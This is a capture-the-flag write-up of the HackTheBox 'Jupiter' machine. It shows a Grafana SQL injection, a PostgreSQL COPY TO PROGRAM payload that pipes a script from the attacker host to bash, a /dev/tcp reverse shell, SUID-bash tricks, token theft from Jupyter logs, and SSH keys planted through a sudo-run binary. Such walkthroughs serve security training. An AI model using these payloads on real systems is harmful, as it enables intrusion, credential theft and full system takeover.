Jupiter – HackTheBox Writeup
Machine Name: Jupiter
IP: 10.10.11.216
Difficulty: Medium
Summary
Jupiter is a medium machine that starts with discovering a subdomain that retrieves data from the database using queries sent through the request, making it vulnerable to SQLi. The SQL injection is leveraged to gain a shell as user Postgres. A configuration script writable by Postgres, and run by Juno is used to gain a shell as Juno. Juno is a part of “science” group which uses Jupyter Notebook. The Jupyter service is run by Jovian. The logs of Jupyter can be read by Juno, which are used obtain tokens to login to the Jupyter Hub. The notebook is used to execute commands and gain a shell as Jovian. To escalate privileges as root, a binary which can be run using sudo, uses a configuration file which can be written by Jovian. This misconfiguration is leveraged to gain a shell as root.
Information Gathering
Nmap scan shows that port 22 (SSH), port 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 on Ubuntu. Since the page redirected to “http://jupiter.htb,” I added it to my /etc/hosts file to facilitate further investigation.
As I browsed through the site on port 80, I did not find anything useful. Next, I performed directory enumeration.
ffuf -u http://jupiter.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all -c -r -sf -ac -o dir_ffuf.txt
As I did not find anything interesting here, I moved onto sub-domain enumeration and found a subdomain called “kiosk”. I added it to the /etc/hosts file.
ffuf -H "Host: FUZZ.jupiter.htb" -u http://jupiter.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -c -r -sf -ac -o subd_ffuf.txt
When I visited the site, I found the site to be running “Grafana v9.5.2 (cfcea75916)”. This information was disclosed in the “Help” icon at the top right.
There were no features apart from simple navigation and information retrieval (search) in the website. I decided to fire up Burp and check how the application communicates with the server.
I realized that it was using an API with a “uid” assigned. If we reload the “Home” page, we understand that it uses “postgres” database as it is revealed in the JSON request. We also see the raw SQL query in the request.
Surely, this has something to do with SQL injection. I tried to test it by using the payload that would return the PostgreSQL version and it worked!
"rawSql":"select version();",
I tried to enumerate the database and found three databases called postgres, moon_namesdb, template1, and template0.
SELECT datname FROM pg_database;
I also listed the password hashes and found the password hash for “grafana_viewer”.
SELECT usename, passwd FROM pg_shadow; "data":{"values":[["postgres","grafana_viewer"],[null,"SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY="]]}
It’s time to inject something naughty and try to get a shell. From HackTricks, I found the below payload and tested it to check if the server interacts with my listener.
copy (SELECT '') to program 'curl http://10.10.14.15/dummy';
It does request a resource like I specified in the query.
Now, I can use a reverse shell script and curl it and execute it on the server.
copy (SELECT '') to program 'curl http://10.10.14.15/revshell.sh|bash'; nano revshell.sh #!/bin/bash bash -i >& /dev/tcp/10.10.14.15/1234 0>&1 python3 -m http.server 80 nc -lvnp 1234
And there we have it! A postgresql shell.
I enumerated further and found that there are two users, jovian and juno.
I transferred linpeas and found that a file named “network-simulation.yml” was writable by postgres.
ls -la /dev/shm/network-simulation.yml cat /dev/shm/network-simulation.yml
This configuration file seems to be starting a python3 webserver on port 80 by using “path” and “args” to specify the binary and arguments respectively.
In most CTF contexts, a writable file must be run by someone in order for the attacker to take advantage of the misconfiguration. I checked if that is the case using pspy.
./pspy64
I found that the file is being run by juno.
id -nu 1000
It seems like the shadow binary uses the configuration specified in the network-simulation.yml file to simulate network behavior.
I used the writable nature of the configuration file to gain a shell by copying the bash binary to /tmp location and the “chmod” binary to set the suid to the copied bash binary.
hosts: # a host with the hostname 'server' server: network_node_id: 0 processes: - path: /usr/bin/cp args: /bin/bash /tmp/juno_bash start_time: 3s # three hosts with hostnames 'client1', 'client2', and 'client3' client: network_node_id: 0 quantity: 3 processes: - path: /usr/bin/chmod args: u+s /tmp/juno_bash start_time: 5s
Let’s use the “juno_binary” to get a shell as Juno.
cd /tmp ./juno_bash -p
I still cannot read the user.txt flag.
As shown in the output, the user.txt file has the permissions “-rw-r—–“, which means it is readable only by the file owner (root) and the group (juno), but not by other users. Since the postgres user is not the owner of the file and not in the juno
group, it does not have the necessary permissions to read the file.
What I did next was to add my SSH public key to the authorized_keys file to get SSH access.
#From attacker's machine cat /home/kali/.ssh/id_rsa.pub #From juno_bash: cd /home/juno/.ssh/ echo "ssh-rsa .....ASFDAFDSA=kali@kali" > authorized_keys
I can now SSH into Juno.
ssh juno@jupiter.htb -i .ssh/id_rsa
Gaining Shell as Jovian
I noticed that Juno belongs to the “science” group. If we check all the files accessible to the “science” group, we find some jupyter notebook logs.
find / -group science -writable 2>/dev/null
Given the name of this machine, this seems to be the right path. Could this mean that jupyter is running?
ps aux | grep jupyter
It sure is! I checked to see if it is running on it’s default port (8888). I looked at the active ports running on the machine using netstat.
netstat -tuln
The port 8888 is indeed in use. Using SSH port forwarding, I opened the jupyter service running on port 8888.
ssh -L 8888:127.0.0.1:8888 juno@jupiter.htb -i .ssh/id_rsa
The Jupyter page asks for either a Token or a Password.
If you have ever used Jupyter notebook, you might have observed that the URLs are logged in the console along with the current token being used. We could use the logs that we previously found to search for any existing tokens that work.
I listed the files by date and used the latest file to fetch the token.
cd /opt/solar-flares/logs ls -lt cat jupyter-2023-07-04-44.log | grep token 7ad38c8211a4e60b89a33cc71961a34fb41f8d662c9e3877
I used the latest token and the jupyter application logs me in.
From the previous output to find jupyter, I observed that the service is being run as Jovian. I confirmed the same by creating a new notebook and running an OS command.
import os os.system("id")
To get a shell as Jovian, I used the same trick of copying the bash binary and setting the suit bit and then copied my SSH public key into Jovian’s authorized_keys.
os.system("cp /bin/bash /tmp/jovian_bash") os.system("chmod u+s /tmp/jovian_bash") cd /home/jovian/ mkdir .ssh echo "ssh-rsa AAA.....kali@kali" > authorized_keys
We can now SSH into Jovian.
ssh jovian@jupiter.htb -i id_rsa
Privilege Escalation to Root
As always, I tried sudo -l, and found that a binary called “sattrack” could be run as root.
If we simply run the program, we get an error message saying “Configuration file has not been found. Please try again!”
sudo /usr/local/bin/sattrack
Since we have read permissions on the binary, let’s run strings command to determine the location of configuration file that the binary is accessing.
string /usr/local/bin/sattrack | grep config
The missing configuration file is “config.json” which is supposed to be located in tmp. Hoping that this file was not deleted but misplaced, I searched for it and found it in the “/usr/local/share/sattrack/” directory.
find / -name config.json 2>/dev/null
The configuration file seems to be loading some online resources.
I thought I could replace those resources with the root flag. I copied this config.json file to the /tmp directory and executed it.
cp /usr/local/share/sattrack/config.json /tmp/ cd /tmp nano config.json "tlesources": [ "file:///root/root.txt" ], sudo /usr/local/bin/sattrack
Here’s the output of the command run with sudo.
The binary surely fetched the resource (root.txt) we specified in the configuration file by outputting it in the /tmp/tle directory.
cat /tmp/tle/root.txt
How do I get a shell from here?
Simple, I use the same technique of copying my SSH public into Root’s authorized_keys. I changed the “tleroot” location to “/root/.ssh” and “tlefile” location to “authorized_keys” such that the “tleresource” (my SSH public key hosted on python server) is retrieved into the authorized_keys file. That way I can SSH into the root console.
# From attacker machine cp ~/.ssh/authorized keys . python3 -m http.server 80 # From Jovian shell sudo /usr/local/bin/sattrack
Finally, we can use our private key to SSH into root.
ssh root@jupiter.htb -i .ssh/id_rsa
After a tiresome session of hacking, this box is finally pwned!